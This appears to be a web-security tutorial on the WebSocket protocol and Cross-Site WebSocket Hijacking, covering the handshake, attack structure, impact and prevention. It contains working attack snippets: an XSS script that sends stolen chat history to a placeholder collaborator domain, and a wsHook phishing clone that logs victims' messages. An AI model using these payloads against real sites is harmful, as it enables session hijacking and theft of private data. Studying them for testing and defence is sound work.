What is WebSocket?
WebSocket is, like HTTP, a communications protocol that enables interaction between a browser and a web server.
The WebSocket protocol allows both servers and browsers to send messages to each other using a single TCP connection.
This is very useful when trying to create real-time applications such as online games and live chat. For example, Slack’s web app uses WebSocket connections to sync messages in its chat functionality.
In order for a web application to sync in real-time, web servers
need to be able to actively push data to its clients. And this is where
WebSocket comes in.
Traditionally, HTTP only supports client-initiated
communications. This means that every time the real-time application
needs to be synced (for example, an online game updating its live
leaderboard), the client’s browser would need to send an HTTP request to
retrieve the data from the server.
When an application is constantly doing this type of update, this
traditional method incurs a lot of unnecessary overhead and ultimately
slows down the application.
Whereas the WebSocket protocol solves this problem by creating a persistent connection between the client and the server that allows both client and server-initiated data transfers.
During the lifetime of a WebSocket connection, the client and the server are free to exchange any amount of data without incurring the overhead and latency of using traditional HTTP requests.
How are WebSocket connections established?
A WebSocket connection between a client and a server is established through a WebSocket handshake.
This process is initiated by the client sending a normal HTTP or
HTTPS request to the server with the special header: “Upgrade:
websocket”. If the server supports WebSocket connections, it will
respond with a 101 status code (Switching Protocols). From that point
on, the handshake is complete and both parties are free to send data to
the other.
Side note: WebSocket uses the ws:// URL scheme, and the wss:// URL scheme for secure connections.
WebSocket connections are normally created using client-side JavaScript like the following:
var ws = new WebSocket("wss://normal-website.com/chat");
The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
If the server accepts the connection, it returns a WebSocket handshake response like the following:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
At this point, the network connection remains open and can be used to send WebSocket messages in either direction.
Note
Several features of the WebSocket handshake messages are worth noting:
- The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
- The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
- The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
- The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes (It’s not a CSRF token).
Websockets Enumeration
You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.
Cross-site WebSocket hijacking (CSWSH)
Also known as cross-origin WebSocket hijacking.
It is a Cross-Site Request Forgery (CSRF) on a WebSocket handshake.
It arises when the WebSocket handshake request relies solely on
HTTP cookies for session handling and does not contain any CSRF tokens
or other unpredictable values.
An attacker can create a malicious web
page on their own domain which establishes a cross-site WebSocket
connection to the vulnerable application. The application will handle
the connection in the context of the victim user’s session with the
application.
Structure of an attack
To carry out the attack, an attacker would create a script that will initiate the WebSocket connection to the victim server. She can then embed that script on a malicious page and trick a user into accessing the page.
When the victim accesses the malicious page, her browser will
automatically include her cookies into the WebSocket handshake request
(since it’s a regular HTTP request). The malicious script crafted by the
attacker will now have access to a WebSocket connection created using
the victim’s credentials.
Simple Attack
Note that when establishing a websocket connection the cookie is sent to the server. The server might be using it to relate each specific user with his websocket session based on the sent cookie.
Then, if for example the websocket server sends back the history
of the conversation of a user if a msg with “READY” is sent, then a
simple XSS establishing the connection (the cookie will be sent
automatically to authorise the victim user) sending “READY” will be able
to retrieve the history of the conversation.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Stealing data from user
Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Now download the wsHook.js file from https://github.com/skepticfx/wshook and save it inside the folder with the web files.
Exposing the web application and making a user connect to it you
will be able to steal the sent and received messages via websocket:
sudo python3 -m http.server 80
The impact of Cross-Site WebSocket Hijacking
Using a hijacked WebSocket connection, the attacker can now achieve a lot of things:
- WebSocket CSRF: If the WebSocket communication is used to carry out sensitive, state-changing actions, attackers can use this connection to forge actions on behalf of the user. For example, attackers can post fake messages onto a user’s chat groups.
- Private data retrieval: If the WebSocket communication can be used to retrieve sensitive information via a client request, attackers can initiate fake requests to retrieve sensitive data belonging to the user.
- Private data leaks via server messages: Attackers can also simply listen in on server messages and passively collect information leaked from these messages. For example, an attacker can use the connection to eavesdrop on a user’s incoming notifications.
How to prevent Cross-Site WebSocket Hijacking
In order to prevent Cross-Site WebSocket Hijacking, an application would need to deny WebSocket handshake requests from unknown origins. There are two ways this can be achieved:
- Check the Origin header: browsers would automatically include an Origin header. This can be used to validate where the handshake request is coming from. When validating the Origin of the request, be sure to use a whitelist of URLs instead of a blacklist, and use a strict and rigorously tested regex expression.
- Use CSRF tokens for the WebSocket handshake request: applications could also use a randomized token on a WebSocket handshake request and validate it server-side before establishing a WebSocket connection. This way, if an attacker cannot leak or predict the random token, she will not be able to establish the connection.
WebSocket is a big part of many modern applications. However, it is often overlooked as a potential attack vector.
As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.